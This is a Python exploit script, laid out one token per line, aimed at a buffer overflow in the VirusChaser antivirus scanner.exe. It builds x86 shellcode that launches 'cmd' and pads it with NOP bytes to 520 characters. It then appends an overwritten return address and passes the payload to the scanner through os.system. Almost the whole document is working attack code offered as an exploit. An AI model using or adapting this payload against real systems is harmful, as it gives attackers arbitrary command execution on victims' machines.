from
struct
import
pack
import
os
shellcode
=
"\x66\x83\xc4\x10"
shellcode
+
=
"\xb8\x50\x70\x50\x50"
shellcode
+
=
"\xb9\x4e\x7d\x04\x27"
shellcode
+
=
"\x03\xc1"
shellcode
+
=
"\x68\x63\x6d\x64\x01"
shellcode
+
=
"\x66\xb9\x50\x50"
shellcode
+
=
"\x66\x81\xc1\xb0\xaf"
shellcode
+
=
"\x88\x4c\x24\x03"
shellcode
+
=
"\x8b\xd4"
shellcode
+
=
"\x66\x51"
shellcode
+
=
"\x41"
shellcode
+
=
"\x66\x51"
shellcode
+
=
"\x52"
shellcode
+
=
"\x50"
shellcode
+
=
"\x50"
shellcode
+
=
"\xc3\x90"
pay
=
shellcode
pay
=
pay.rjust(
520
,
"\x90"
)
pay
+
=
"\x9c\xdb\x12"
os.system(
"C:\\\"Program Files\\VirusChaser\\scanner.exe\" \""
+
pay
+
"\""
)